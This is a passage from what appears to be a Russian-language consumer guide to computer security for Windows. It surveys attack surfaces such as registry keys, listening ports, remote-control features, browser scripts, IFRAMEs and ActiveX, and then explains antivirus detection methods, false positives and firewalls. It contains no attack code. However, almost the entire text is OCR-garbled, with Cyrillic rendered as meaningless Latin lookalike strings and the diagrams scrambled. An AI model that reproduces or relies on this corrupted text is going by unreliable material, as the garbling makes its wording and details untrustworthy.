HKEY LOCAL_ MACHINEN\SYSTEM\CurrentControlSet\Services

m

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet???\Services,

roe ? — J000M eOVHMUYHBIY CHMBOJI.

Permctpauus  BpedoOHOCHbIX Ccnyx6 1  ApanBepoB  OCIOXHSAET
Ae3VHMeKuMo cuUcteMbl U MO3BONSAET BPEOOHOCHbIM  nporpaMmmam
BbINONHATL 6oriee LWMPOKMIA CNEKTP OENCTBUN.

r) KNO4YM HaCTPOEK onepauMoHHON CUCTEMbI U NPUNIoXeHUn. Kroum
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3TOM rpynnbl MOryT nmMbo cumTbiBaTbCA BpeAoHOCHbIM 1O (K npumepy, C
Lenblo M3BNeYeHnss KOHUaeHUManbHbIX CBEAEHNI), MTNOO N3MEHATLCS C TOW
NN UHOW Lenblo (HapyweHne paboTbl CUCTEMbI, 3aTPYAHEHNE 0BHapYXeHUs
MHEeKUMN N T.0.). ApKMM NPUMEPOM MOXET CIYXUTb KI1lO4 HaCTpOoekK
MpoBogHuka Windows:
\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\,

e * - JobomM KYyCT.

3) CeteBoM yHKUMOHaN onepauyuoHHON cucTeMbl. [log 3TuUMm
HanMmeHoBaHneM OyaemMm MNOHMMAaTb BCTPOEHHbIE OYHKUMWU OnepaunmoHHON
cucteMbl, obecneumBaloime B3aUMOAENCTBME MeEXAY KOMMNblTepamMn B
ceTn. o cBoeMy Ha3HaYeHWIO OaHHbIM (PyHKUMOHAN npu3BaH obneryaTb
MEXKOMMbIOTEPHbIE KOMMYHMKaLMn n cosfaHue NoKanbHbIX
BbIYMCIIUTENbHbBIX CETEN NEPCOHANbHbLIX KOMMNbIOTEPOB, OAHAKO MOXET ObITb
aKcnnyaTnpoBaH Af1s1 HECAHKUMOHNPOBAHHOIO 4OCTYyNa K KOMMbOTEPY U3BHE
C TEMU UNKU MHbIMM nocnegcTBnamMu. OTHeECEM K 3TOW rpynne crenyoLlyto
dyHKUnoHanbHocTb OC:

a) otkpbiTue noptoB Ansa npocnywuBaHua (LISTENING). CeteBoun
NopT MOHMMAETCA KakK BUPTyanbHas To4dka («pasbem»), Yepes3 KOTOpyHo
npoucxogut obpaboTka W nepegada MOCTyNnawLWMX WM OTCbITAEMbIX
AaHHbIX; NoboM NOPT MMeEeT CBOWM HOMEpP, KOTOPbIN MOXET HaxoauTbCs B
ananasoHe ot 0 o 65536.

CeTeBoWn NOPT MOXET UMETb HECKOSTbKO COCTOSIHUMA:

- SYN_SENT (coeanHeHune ycTaHaBnnBaeTcs)

- ESTABLISHED (coeanHeHue ycTaHOBIEHO)

- TIME_WAIT nnn CLOSE_WAIT (coegnHeHune 3akpbliBaeTcS)

- LISTENING (roToB K npuemMmy coeguHeHun)

Ona Toro, 4ytobbl onpegenutb otnnume LISTENING oT gpyrux TUnos,
caoenaeMm KpaTkoe TMOSICHEHMe YacTO BCTpevawwencs TepMUHOMNOoruu,

NPUMEHAEMON K nopTam.
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C Toukm 3peHus GpaHamayapa M psga OHMNaNH-TECTOB AMS MPOBEPKM
paboTbl CETEBbLIX 3KPAHOB CETEBOW NOPT MOXET MMETb TPU COCTOSIHUA: Open
(oTkpbIT), closed (3akpbIT) u stealthed (ckpbIT). «OTKPbITEIM» B TakoW
TEPMUHONOIMN HasblBaeTCA MNOPT, KOTOPbIM BWOEH W3BHE, OTBEYaeT Ha
3anpocbl U NPUHUMAET NOAKIMOYEHUS; «3aKPbITbIMY - MOPT, KOTOPbIN BUAEH
M3BHE, HO He OTBeYaeT Ha 3anpocCbl M He MNPMHUMaEeT NOAKMHYEHUS;
«CKPbITbIM» - TMOPT, KOTOPbIA HE BWOEH W3BHE, W, Takum o6pasom,
HEBO3MOXHO ornpenenuTb, KakoB ero crtatyc. C TOYKM XKe 3peHus CBOEeN
CYLLHOCTU MOPT WMEEeT ABa COCTOSAHMS — OH NMbo OTKpbIT, nMbo He
CyLLecTByerT.

OueBuaHO, YTO NOPT AOSMKEH CyLlecTBOBaTb (T.€. ObiTb OTKPbIT), YTOObI
nMenacb BO3MOXHOCTb MPUHMMAaTb UMK nonydaTb AaHHble. [1ocKonbKy Ans
YCMELHOCTN CETEBOM aTakm Yyepes NopTbl HEOOX0ANMMO, YTOBLI KOMMbIOTEP-
uenb nNPUHAN onpedeneHHble AaHHble, 3TWU AaHHble [OOMKHbl  ObITb
HanpaBneHbl B OTKPbITbIA MOPT;, €Crv MOPT HEe-OTKPbIT, TO aTaka Ha Hero
HEBO3MOXHa (T.K. HEBO3MOXHO aTakoBaTb TO, Yero HeT).

[MopTbl MOryT OTKpbIBaTbCA ANSA OCYLECTBNEHMUS UCXOOALWMX WIN
npuema BXOAAWMX MOAKMYEeHU. B cuny Toro, 4to B NEepBOM cCrlyyae
napameTpbl COEAMHEHUsI OnpeaensarTca CaMUM  KOMMNbIOTEPOM, AnS
NOOKMIOYEHNS MOXET BblTb OTKPLIT NOPT C NOObIM HOMEPOM, U BbISICHEHME
TOro, rae OH HaxoauTtcs, TpebyeT onpeadeneHHbIX YCUNNn, B CBOK oYepenpb,
BO BTOPOM cry4yae OOblMHO OTKpbIBaeTCs (OUKCUPOBAHHbLIA MOPT, HOMEpP
KOTOPOro 3apaHee N3BECTEH, a NOAKIOYEHNE oXMaaeTcsa B Nob6on MOMEHT U
13 NOOro NCTOYHMKA. OTO MNO3BOMSAET OXMAaTb, YTO NMPU OTNPaBKE AAHHbIX
Ha nopT XXXX, KOTOpPbIA U3BECTEH KaK 3aKpensieHHbIN 3a NPUNOXKEHNEM UNK
cnyxbon Y, 9TU faHHble OyayT NPUHATbI MMEHHO MNPUMIOXEHUEM WNn
cnyx6on Y (Hanpumep, ecnv KOMNbloTep NO3BONSAET OTNPaBnsaTb Yepes cebs
9NIEKTPOHHYIO MOYTY, TO MOXHO OXMOaTb, YTO HA HEM ByaeT OTKPbIT NopT 25,
yepes3 KOTopbIn ByaeT nNpuMHUMAaTb COeQMHEHUST NoYToBast cnyxba oTnpaBku

coobuieHun). OnnucaHHbIM BTOPOKW Crydan U SIBNSIETCA OTKPbITUEM NopTa co
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ctatycom LISTENING.

Taknm obpasom, OTKpbITME MOPTOB AN MNPOCNyLIMBAHUSA MO3BONAET
KOMNbIOTEPY NPUHMMATb  BXOAAWME  MOOKIYEHUss, B TOM  4ucne
HexenaTernbHble.

0) NPOTOKObI " UHTepcenchbl MEXKOMMNbIOTEPHOIro
B3aMmMmoaencTBmsa B ceTu. Kak Mbl roBOpunv paHee, NpoOTOKOSIOM NPUHATO
HasblBaTb TOT WIN MHOW cmaHdapm obmeHa OaHHbIMU; B CBOK OYepeab,
UHTEpdEeNC — ITO KOMMNEeKCc cpedcme peanusayuu 3Toro obmeHa.
OnepaumoHHaa cuctema Windows OpuEHTMpoBaHa Ha  aKTUBHOE
B3aMMOAENCTBME C CETbKD TOr0 WUIAW WHOrO Tuna, NMOCKOSbKY B CTpaHe ee
NPOUCXOXAEHNSA JOKanbHblE BbIMUCIUTESNbHbIE CETM B Npeaenax OOHOM
KBapTuUpbl, AOMa, ropoga u T.n. — obblaeHHoe sBneHue; noatomy Windows
M3Ha4arbHO COAEPXUT onpeaeneHHbln Habop MpOTOKOMNOB, CRYyX0 U
KNWEHTOB, KOTOPbIN N03BONAN Obl NOMb3oBaTENSAM NPU CO34aHUN NOKaNbHOM
ceTn ObICTPO N yAOBHO OpraHM30BbIBaTb COBMECTHbIN A0CTYN K YCTPOMCTBaAM
(K Npumepy, BCA CETb MOXET MONb30BaTbCA OAHUM MPUHTEPOM), co3daBaTb
OOHOTUMNHYKD ceTb 6e3 HeobxoAMMOCTM YCTaHOBKM  AOMONHUTENbHbIX
NpOrpaMMHbIX NPOAYKTOB M T.N. YNOMSAHYTble yaoOCTBa LieHHbI B npegenax
KOpnopaTMBHOM  BbIYUCIIUTENIbHOW  CEeTW, OAHako Ans  gomMallHero
KOMNbIOTEPA MOTYT CIYXUTb BEKTOPOM ANS NPOHUKHOBEHUS (T.K. NMO3BONSAIOT
He TOSbKO OCYLEeCTBNATb COeANHEHUS, HO U MPUHUMATb UX).

B) (pyHKUMM yaAaneHHOro yrnpasfieHUs onepauuoHHOM CUCTEMOM.
Windows cogepXuT dyHKUMOHAr, 3agyMaHHblii C uenbto obecrneynTb
nonb3oBaTensiM BO3MOXHOCTb MOMoOraTb Apyr Apyry B pabote B pexunme
peanbHOro BpPEMEHU 3a CYET MOAKMYEHUSA K KOMMNbIOTEPY-LENn N B3ATUS
ynpaBneHnss UM Ha KOMMbHTEP-UCTOYHUK. O4yeBMOHO, 4YTO, HEeCMOTpPSA Ha
HEKOTOpble BCTPOEHHbLIE 3alUUTHbIE MeXaHW3Mbl, 3TW CpeacTBa TaKke
crnocobHbl obecnevnBaTb HeCaHKUMOHMPOBAHHbLIA JocTyn. B aTy rpynny

BXOOAT YAaneHHbI NOMOLUHUK, YAaneHHbin paboymin cTon, YOaneHHbIn

peectp n I'IO,EI,O6HbIe MM KOMMNOHEHTHI.



BbesonacHbin IHTepHeT. YHMBepcanbHas 3awmrta ans Windows ME — Vista 18

4) O6o3peBarernb UHTepHeTa. CoBpemMeHHble Gpaysepbl
nogaepXuBalT onpedeneHHbln Habop TEeXHOSOrMn, MUCNosib3yembiX MNpu
pa3paboTke Beb-cTpaHuL 1 obecneymBatoLLnX CyLLEeCTBEHHO Bonee WNpoKyto
dyHKUMOHANbHOCTL, 4Yem cobctBeHHO HTML. [aHHble  TexHOnoruu,
6e3ycnoBHO, MNOBbIWAKT YyaobCTBO paboTbl CO cTpaHuuamu WHTepHeTa,
ogHako obecneymBaloT BO3MOXHOCTb MHMUUMPOBaHMS KOMMbKOTEpPA 4vepes
Bpaysep HenocpeaCTBEHHO BO BPeEMS NPOCMOTPA CTpaHuUUbl.

K yNnOMSAHYTbIM TEXHONOIMMSM OTHOCSTCS:

a) ckpunTbl (0ObIYHO Ha A3blke JavaScript, XOTS CyLEeCTBYIOT U UHbIE).
BpenoHOCHbIe CKpUNTbl MOryT cobupaTb Ha KOMMbOTEpPE-LEeNn BpeLOHOCHOE
MO, 3arpyxaTb TakoBOE, BbIMNOMNHATb CKPbITble NepeHanpaBneHnsa n 1.4.; He-
BpeL4OHOCHbIe CKpUNTbI 00bI4YHO obecneynBaroT oTobpaxeHue
AOMNOSTHUTENbHBIX ~ 9fIeMEHTOB  CTpaHuubl ©6e3  HeobxogmmocTn  ee
nepesarpysku, Nogaep>KMBatoT paboTy cYETYMKOB nocelleHun n ap. ViHorga
CKpUMTbI Ncnonb3ytoTcs 6e3 HeobXxoaANMOCTU, BMECTO CTaHOAPTHbLIX PYHKLMN
HTML; HarnagHbIn npuMmep nogobHoro 3noynotpebneHnsa ckpuntamm — canT
coumanoHon cetn «BKoHTakTe».

0) cKkpbITble nepeHanpaBrieHnUs1 Yepe3 HeBuAUMoOe OokKHo (inline frame,
cokpawieHHo IFRAME). 3ToT yHKUMOHan wucnonb3yeTtcd o06biMHO And
obecneyeHns otobpaxkeHuss GaHHEpPHOW peknambl; BO BPELOHOCHbIX Liesisix
ero MpUMEeHSIT ON1s CKPbITOW nepeagpecauun Nonb3oBaTenil Ha pecypc,
coaepXxawmn HpeKUnto.

B) ActiveX. 3nemMeHTbl ynpasneHus ActiveX moryT 6bITb ANCTAHUNOHHO
YyCTaHOBMEHbI HA KOMMNbIOTEP C yAaneHHOoro cepsepa, obecnevnmBasd Takum
obpasom pacllMpeHHOe  B3aMMOLEWCTBME  pecypca-UCTOYHMKA U
KomnbtoTepa-uenn. JlermtumHble ActiveX nNpUMEHSAOTCH, K npumepy, B
aHTMBUPYCHbIX OHJIANH-CKaHepax.

Kpome TOro, Heobxogmmo ynoMsaHYyTb pa3HOObpasHble pacLuupeHus
ana 6paysepoB (Hanpumep, Browser Helper Objects n naHenn ans Internet

Explorer vnn nnarmHbl gna  Mozilla Firefox). NogobHble HaacTpoKrKu
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peanuayloT BO3MOXHOCTb pAobaBneHnss Kk Opaysepy AOMOMHUTENBHOrO
dyHKUMOHanNa; O4eBMAHO, YTO 3TOT (PyHKLUMOHAN MOXET ObiTb U NTETUTUMHbIM,
n BpedoHOCHbIM. K npumepy, B Buae HaACTPOMKM MOXeT ObiTb peanu3oBaHa
TPOSIHCKasi MporpamMma-LUNMOH; CyLLIECTBYS B Buae 6Mbnmnotekn, BHeapeHHON
B npouecc Opaysepa, OHa C TPyAOM OOHapyXMBaeTCs M MNPaKTUYECKN He
nosgonser enm 6e3 nomex

KOHTponupyeTcs  GpaHaAMay3poMm, 4To

obmeHnBaTbLCS MHPOPMaLMEN CO 3M0YMbILLITIEHHNUKOM.

MoaBenem utor CKa3aHHOMY Bbllle, npeacrtaBnB nporpamMmmMmHble yrpoasbl

BGesonacHocTn B BUAe guMarpammebl (puc.2):

MporpaMMHbIe YIpo3bl

be3onacHoCTH
BpefdoHOCHO: BoedoHoCHBbIE [NoTeHUMAaneHo
MporpamMMHoE CETEBRIE TEXHONO KM arakyemulii
obecrnedeHmre 1 hyHELMOHaN
TposAHCKKME Cnam- Darnbl K
Mporpartal PACChINKA nankm
MNporpameal- CHCTEMH bIH
HepEM lHTEpHET- peectp
MOLEHHMYECTED
Knaccrdeckme CeTeoi
EMPYChI dyHELMoHan OC
Apyroe OboapeBaTent
BpedoHOCHOe [0 IHTEepHETS
MNoTeHUmaneHo

onacHoe [0

Puc. 2. Budbl npoepaMmHbIx yepo3 besonacHocmu
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Hacmb 2. PeweHusi ons 3awyyumsli

[oBOps O pelleHusix, npeaHasHaYeHHbIX AONs 3aluTbl KOMMNbITEPa,
NOrnYHbIM ByaeT OCHOBbLIBATLCSA Ha NMpPeACTaBNEHHOW Bbille Kraccudukauum
nporpamMMHbIX Yrpo3 GesonacHocTu. [ns Kaxgon M3 yrpo3 B HacTtosilwee
BPEMS CYLLUECTBYHOT adeKBaTHble €l Mepbl NPOTUBOOAENCTBUS, KOTOPble
peanua3ylTca TEM U1 UHBIM 0Bpa3oMm.

Kak n yrposbl, pewenus ansa 3awuTbl MOryT ObiTb pasgeneHbl Ha OBe
rmobanbHble rpynnbl — annapaTHble U nporpaMmHble. OgHako, B TO BpPeEMS
Kak annapartHble yrpo3bl Obiny NOMHOCTLIO OCTaBMEHbLI BHE NPEeAEeNnioB HaLlero
BHMMaHWUS, HEKOTOpPbIE annapaTHble cpeacrteBa obecneveHuss 6e3onacHoOCTU
OyayT pacCMOTPEHbI B 3TON YaCTU KHUTU. [1pUYNHOM 3TOMY CIYXXUT TOT oaKkT,
YyTO psg  annapaTHbIX  3aWMTHbIX  PELIeHWA  npegHasHayvyeH Ond
HenTpanusauumn NPorpamMmMHbIX yrpos3.

Cnegysa  knaccudmkauum, HavyHEM  U3FIOXKEHMEe CO  CpeacTB
NPOTUBOAENCTBUA BPEAOHOCHOMY TMpPOrpaMMHOMY obGecneyeHuo.

Cpeau HUX BbIAENSOT CreayoLmne Kracchl.

1) AHTUBMpYCbI. [1log aHTMBUPYCHBbIM pEeLleHNEM MPUHATO MOHMMAaTb
CUCTEMY [EeTeKTMpoBaHUA U 00paboTKM TPOSHCKMX MporpamMm, 4epBewn,
Knaccuyeckux BuUpycoB W apyroro BpegoHocHoro [10; HekoTopble
aHTMBUPYCHbIE  MNPOAYKTbl  OMNpefendalT Takke U HexenaTternbHoe
nporpamMmmHoe obecneveHue.

MeToabl onpeneneHnMsa BpeAOHOCHbLIX NporpaMmm

MeToabl,  KOTOPbIMW  @HTMBMPYCbl  OMPEAEnsT  BPEeOOHOCHOE
nporpaMmmHoe obecrneyeHne, pasgenarTcss Ha [Be OCHOBHble rpynnbl:
peaKTMBHbIE N NMPOAKTUBHBIE.

PeakmueHbiMu  (OT CrnoBa  «peakuusi») HasblBalOTCA  MeToabl,
obecneunBarone getektmposaHme BpegoHocHoro O nocrne Toro, Kak ero

KOHKpPETHbIN obpasel, OyaeT m3yvyeH B BUPYCHoW nabopaTopum KOMMAHWUK-
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N3roToBUTENS aHTUBMPYCa. B HacTosllee BpeMs B 3Ty rpynny BXOAUT OOMWH
METO[ — CUrHaTYpHOE AEeTEKTMPOBAHME.

Onsa CUrHaTypHOro AEeTEeKTUPOBaHMA ncnonb3yeTcsa
cneunanuaMpoBaHHass obHoBndgemasa 06as3a AgaHHbIX, COCTodAlas U3 T.H.
cugHamyp — y4acTKOB KoJa BPedOHOCHbIX nporpamm, gobaeBnsiembix B 6asy
BUPYCHbIMK aHanutukamu. Npn CKaHMPOBaHMM CUrHaTypbl CPaBHMBAKOTCA C
COLEPXUMbIM MpoBepAemMoro avna, WU, ecnu coaepXumoe coBnagaeT C
curHaTtypow, hann npmsHaeTcsa Bpe4oHOCHbIM. K NONoXUTenbHbIM acrnekram
CUrHaTypHOro  OETEKTUPOBaHMS MOXHO OTHECTU BbICOKYHD TOYHOCTb
obHapyXeHnsa BpeaoHOCHOM NporpamMmsbl; K HegoctaTtkam — Heo6xoAUMOCTb B
nooaepXke n NOCToOAHHOM OOHOBNEHUN 0ObeMHOM 6a3bl 3anucen, a Takke
3aBUCUMOCTb onpeaenenust BpegoHocHoro NO oT nonagaHus / HenonagaHus
ero obpasua B BUPYCHYIO nabopaToputo 1 OT CKOPOCTM paboTbl NOCNeaHeNn.

[lpoakmueHbIMU  Ha3blBAlOT  MeTodbl, CNOCOOHble  obecneunTb
AEeTEKTUPOBaHME BPEAOHOCHOM MNporpamMmbl 40 €€ nonagaHnsa B BUPYCHYIO
nabopaTtopuio 1 BbiNycka curHaTtypbl. B aTy rpynny Bxoaar:

- METO[, 3BPMUCTUYECKOrO aHanmsa — n3ydeHue Koga nporpaMmmbl M NOUCK
B HEM Onepauunn, xapakTepHbix ans sBpeaoHocHoro MO, nubo nomnck obLumx
NPWU3HaKOB, XapaKkTepHbIX Afisi BUPYCOB OO4HOro ceMencTtea, nMbo nsyyeHue
BHELWHMX MPU3HAKOB MporpamMmmbl (MOAO3PUTESNBHOE WMSI, MHOrFOKpaTHoe
lWwnppoBaHue Kkoga v ap.);

- MeToAd noBedeH4YecKkoro aHanusa — HabniogeHne 3a OencTBusIMW,
BbINOSTHAEMbIMM  NPOrpamMmMon, ”n uHGOpMMpOBaHME Monb3oBaTENA O
Noao3pUTENBHON aKTUBHOCTU NPUMOXKEHNS.

[MonoXnTenbHONM CTOPOHOM AaHHbIX METOAOB SIBMSIETCS HE3aBMCUMOCTb
OT BMpPYCHOWN niabopatopum U BO3MOXHOCTb BbISIBIEHUSA €LLUe HE WU3BECTHbIX
BUPYCOB; K  HegoCTaTkaM  OTHOCUTCA  BEpPOSTHOCTHbIN  XapakTep
AEeTEKTUPOBaHMUSA (T.€. NPOAKTUBHOE OETEKTMPOBAHUE HE MO3BOMSAET CO BCEWN
TOYHOCTbID  yTBepxAdaTb, 4YTO  3anofo3peHHbin  dann  aBnseTcsA

BPEL4OHOCHbIM).
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Oco6eHHOCTU CUrHaTypHoOro AeTeKTMpoBaHuUs

HecmoTpsa Ha NpoBepKy CUrHaATYp nepes BbINMyCKOM, B NMPaKTUKE KaXKaoro
aHTMBMPYCHOrO NpoAyKTa MMEKT MeCTO CcuTyauun, Korga curHatypa
coBrnagaeT C COAEPXMMbIM YMCTOro, HedapaxeHHoro danna. Takad
CUTyauusi HasblBaeTCHa NOXHbIM cpabaTtbiBaHMeM. B cuny atoro B cny4yasix,
korga nocne obHoBneHuss 6a3 aHTMBMpycHoe [1O HauvHaeT onpenensatb
M3BECTHbIN BaM bann Kak MHMUUUPOBaHHLIM, pekoMeHayeTcs ybeauTbes,
4YTO AaHHOe cpabaTbiBaHME He SIBASETCS NOXHbIM, Npexae Yyem npuHuMmaThb
Kakne-nnbo mMepbl MO OTHOLWEHMIO K aTomy danny. [na atoro Heobxoanmo
oTnpaBuUTb hann B BUPYCHYK flabopaToputo NpousBOAUTENS aHTUBUPYCA;
caenatb 9TO MOXHO HECKONbKMMK crnocobammn. HekoTopble aHTUBMpPYCHI
MMEKT BO3MOXHOCTb OTNPaBNATb MOAO3PUTENbHbLIE alnbl HA NPOBEPKY
CaMOCTOSATENBHO (CM. puc. 3), Ans Apyrmx Bam notpedyercsa noceTuTb caunT
M3roTOBUTENST M Yy3HaTb OJIEKTPOHHbIN agpec BUpycHon nabopaTtopun
(0bblMHO OH wMeeT BUL newvirus@company.com, virus@company.com,

samples@company.com u T.1.).

[ ':"T.E!T}"l:_ [ OEHEIFI':.I'}I{EHHbIE Wrposkbl ':TEITHE'_I'HKEI |
| K-apaHTHH b d

Bpema £ CTaTye CAHApY¥EHD [0y

= Tum: He onpegeneHo  (CoObITHA: 1)

! 11.12.2008 20:45yas :
MpoBepnThb

OTKpbITE NANKyY MCXoAHOro pasmMelleHia palna
Y nanntb V3 cnvcka
BoCccTAHOBMTE

OTnpaBnTb...

OUICTMTE CAKCOK

Puc.3. Omnpaeka nodo3pumeribHo20 ¢halsia 8 supycHyro nabopamopuro 8

aHmusupycHoM nakeme Kaspersky Internet Security
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Ecnun BblI oTnpaensete dann camu, ynakyute ero B apxus (RAR wvnu
ZIP) n 3awmtnte napornem. B TekcTe nucbMa yKaXuTe Mapoflb, a Takxe
NosSICHUTE, 4TO NOAO3peBaeTCcs JOXHoe cpabaTbiBaHne. Ecnn  dhann
aAencTeutTenbHo 6e3BpeneH, To aHanNUTUKKU JO00aBAT ero B UCKIOYEHUSA N
OTKOPPEKTUPYIOT CUrHATYpYy.

Oco6eHHOCTU NPOaKTUBHOIO AeTEKTUPOBaHUSA

Mpn ob6paboTke OOLEKTOB, AOETEKTUPOBAHHbLIX MPOAKTUBHO (B WX
Ha3BaHUAX OObLIYHO MPUCYTCTBYIOT aneMeHTbl «Heur», «Heuristic», «Geny,
«Generic», «Suspicious» u T.n.), cnegyet MNOMHUTb, YTO OOBLEKT nNULWb
nogo3peBaeTcs Kak BO3MOXHO BPeAOHOCHbIN U He obs3aTenbHO ABNSeTCs
BUpyCcOM. Takme pannbl Takke pekoMeHAyeTCs OTnpaBnATb B BUPYCHYHO
nabopatopuio Ans BbIHECEHMSI TOYHOrO AnarHo3a, Nno CXeme, ONUCaHHOW
BbllLe; B TEKCTe NucbMa yMecTHO 6yaeT ykasaTb, 4YTO OObEKT 6blin
AEeTEeKTUPOBaH NPOAKTUBHO, MU YKa3zaTb BEPAUKT aHTUBMUPYCa.

CocTaB aHTUBUPYCHOro NpoAaykKTa

JMobon aHTMBMpPYC BKNOYaeT B cebS HECKONbKO OCHOBHbIX MOAYNen:
dannoBbIM U NOYTOBBLIN CKaHep, NpoBepstowwmne gannsl B MOMEHT JOCTynNa K
HUM, cKaHep no TpeboBaHMO, KapaHTUH W cepBUC OB6HOBMEHUA. B
3aBMCUMOCTU OT TEXHMYECKOrO0 COBEpPLUEHCTBA aHTUBMPYCaA OH MOXET
cogepxatb U gpyrne KOMMOHEHTbI — K NPUMeEpPY, pAa NPOAYKTOB 3TOro Kracca
coaoepxut Beb-ckaHep. Takom KOMMOHEHT NpoBEpPSiET CTpaHuubl HTepHeTa
A0 ux oTobpaxeHuss B Opay3epe W N0O3BONSIET TakMm obpasom
NpenoTBpaTUTh 3apaXkeHne Yepes HUX (B TO BpeMsi Kak dhannoBblii MOHUTOP
MOXET NuLLb onpeaenuTb nonagaHne BpeAoOHOCHOW CTpaHuLbl UK ee 4YacTu
B Kkaw Opaysepa, korda BpPEeOOHOCHbIN KO YXe ycnen 3anyCTUTbCs U

oTpaboTtaTb).

2) bpangmayapsbl (firewall, ceteBon 3kpaH). bpaHgmayap — aTO
NPOAYKT, OTBeYarLWwun 3a obecneyeHne KOHTponsa n 6e3onacHOCTU CeTeBbIX

COEOMHEHWUN, OCYLLEeCTBNSIEMbIX KOMMblOTEPOM. Ero ocHoBHas 3agava
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COCTOUT B yNpaBfeHUn OOCTYNOM MPUITOXEHUI K pecypcaM CeTu, a Takke B

3awmuTe CUCTEMbl OT CETEBbLIX artakK, HampaBfeHHbIX Ha 3JKCniyatauuto

YySI3BUMOCTEWN UNK NOJTyYeHNe HeCaHKLMOHMPOBAHHOIO AOCTYNa K CUCTEME.
Hanbonee obwo dyHKunoHan 6pangmayapa MOXeT ObiTb nM3obpaxeH

cnegyowmnm obpasom (puc. 4):

FokanbHaa cucTema
-
' Mpouece 1 Mpouece 2 Mpouecc 3
& I T
|
Epanamayzp 1
T |
b 4 -
Tabnua '
MpaBmn FazpgupTo CnpockTh 3anpeTHTh
noCTYNa AodTy|n NoNb30EaTENS AOCTYM
| * F 3
—
CHCTEMS I :
JETEeKTHROBaHMS : :
ETOPHEHMH | !
A 1 : &
I ]
i 1
I |
'i' I
w
CeTb - = :
- - -
r ._‘bg ._‘bg ._‘bg
G e KomMneotep 1 KomMnetoTep 2 KomMneoTep 3

)
59
KomMneoTeD 4

Puc. 4. ®yHKyuoHas cemego2o dKpaHa

Tabnuua npaBun onucbiBaeT OencTBus (paspewunTb, 3anpeTuThb,
CnpocuTb), KoTopble OpaHaMayap nMNPUMEHsIeT K TEeM WM UHbIM
NPUTOXKEHUSM.

Cuctema getektnpoBaHusa sTopxkeHun (IDS, intrusion detection system)

MMEET CUMHaATYpHYO nMpupoay, nno3BoSiAA BbIABNATL WU 6J'IOKI/IpOBaTb
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onpegeneHHble ceTeBble nakeTbl W coeanHenusi. K npumepy, Aansa
aKcnsyataumMm yasBMMOCTENM HEKOTOPbIX MPUITOXKEHUN 3M0YMBbILLSIEHHUK WA
BpeOOHOCHas nporpaMmma  AOSDKHbl  HanpaBuUTb  3TOMY  MPUIIOXEHUIO
crneumnanbHbiM 00pa3omM CHOPMUPOBAHHLIM MAKET AaHHbIX; ChneumanucThbl
KOMNaHuu-nponssoanTens dpangmayapa MoryT BHECTU COAEPKUMOE TaKoro
naketa B 6a3y AaHHbIX CUCTEMbI ONpeaeneHnst BTOPXKEHUN, U B AarnbHENLEM,
eCnn NOCTYNMBLUMA NakeT coBnaget ¢ obpasuom, IDS oCTaHOBUT ero BHE
3aBMCUMOCTK OT TOrO, Kakue npasuna UMeKTCs Ons NpunoxeHua-agpecarta
B Tabnuue.

B TepmuHOnorum kaxgoro 6paHgmayapa MNpUCYTCTBYET HECKOSbKO
06s13aTeNbHbIX 3MEMEHTOB, ONs1 KOTOPbIX Mbl Takke MpeasioXnm KpaTkoe
onucaHue.

1) IP-appec, nokanbHbIn W YyaaneHHbln. IP-agpec — YHWKanNbHbLIN
LUMdpoBOM NOeHTUMOMKATOP KOMMbIOTEPA B CETU, NO3BONAOLWNN obpallaTbCs
K HEMY; UMeeT BM XXX . XXX . XXX . XXX.

2) NMopT, nokanbHbIN KU yaaneHHbln. OnpegeneHne nopta 6bLIIO gaHO
HamMu Bbile nNpu 0603peHnn NoTEHUMANbHO aTakKyeMblX OO bEKTOB CUCTEMBI.

3) [Mpotokon. [IpoTOKONOM MPUHATO HasbliBaTb OMNpeaesieHHbIN
cTaHgapT obmeHa pfaHHbiMW. B ceTeBbIX COEOMHEHUAX Yalle npouYnx
ncnonbayTca npotokonel TCP (transmission control protocol, rpomokon
KoHmporsns nepedayu), UDP (user datagram protocol, npomokon
rnosnb3o8amersibCKUX OOHornakemHbix coobweHuld) n ICMP (Internet control
message protocol, npomokon WHmepHema Ons nepedayu yrnpassouux
coobuweHul).

4) HanpaBneHue, Bxogsuee n ucxogsuwee. Mcxogsawmm HasbiBaeTCs
COeaVHEHMEe, WHULMMPYEMOE FOKalnbHbIM KOMMbOTEPOM, BXOOAWMM —
NHULMMPYEMOE yOaneHHbIM KomnbioTepoM. ObpaTute BHUMaHME, YTO, €Cru
Baw Opaysep obpallaeTcss K HEKOTOPOMY pecypcy B CETU, U TOT OTBeYaeT
eMy KakuMu-nnbo [aHHbIMK, TO 3TOT OTBET MNO-MPEXHEMY CYMTaeTcH

oTrnpasJieHHbIM B paMKax ncxogdLiero noakrnoy4eHn4.
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B pesynbTtate MOXHO roBOpuUTb, K npumepy, 00 wucxogsiem
nogknoyYeHnn npouecca iexplore.exe ¢ nokanbHoro IP-agpeca 12.34.56.78
Ha yaoaneHHbin IP-agpec 123.456.789.123 no npotokony TCP ¢ fiokanbHOro
nopta 1029 Ha yganeHHbin nopt 80.

[ToMMMO CBOEro OCHOBHOMO (PyHKUMOHANa, MHOrMe COBPEMEHHbIE
6paHamayapbl UMEKOT B CBOEM COCTaBe CpeACcTBa NPOAKTUBHOW 3aluUThI, T.€.
perynupyroT He TOSMbKO CeTeByd, HO M Boobuwe byl akKTMBHOCTb
NpuUNoXeHnn B npegenax cuctembl. Cpeaou TUNUYHBIX MpeacTaBUTENen
Knacca MOXHO HasBaTb ZoneAlarm, Outpost Firewall, Sunbelt Kerio Personal
Firewall, COMODO Firewall.

[TOMMMO  ONUCaAHHLIX BbIlWe MPOrPaMMHbBIX CETEBbIX  3KPaHOB,
CYLWECTBYIOT Takke annapaTtHble OpaHgmayapbl. OOblMHO OHW BXOOAT B
coctaB 6Gonee  CrOXHbIX CETEBbIX YCTPOWUCTB — K  MpuUMepy,
MapLupyTmM3aTopoB, - obecrneymBasa 3awWmTy OOMHOYHOIO KOMMbLHOTEPA WNU

CEeTU OT HexXenaTenbHbIX BXOAALLMX COeaUHEHUN.

Ob6paTnTe BHMMaHuWe: MporpamMMHble aHTMBUPYCbl M BpaHamMayapbl, Kak
npaBuo, NCNonb3yT ApanBepbl, T.e. CUCTEMHbIE dhainbl, paboTatolme He
Ha ypoBHE WHTepenca, a Ha ypoBHE siAapa OnepauyMOHHOW CUCTEMBbI. OTO
nossonsieT WM 9MMEKTUBHO 3adepXuBaTb MpunoxeHus, Tpebyouwme
pacCMOTPEHNS CO CTOPOHblI nonb3oBatensd. Ha pgaHHbInG  MOMEHT
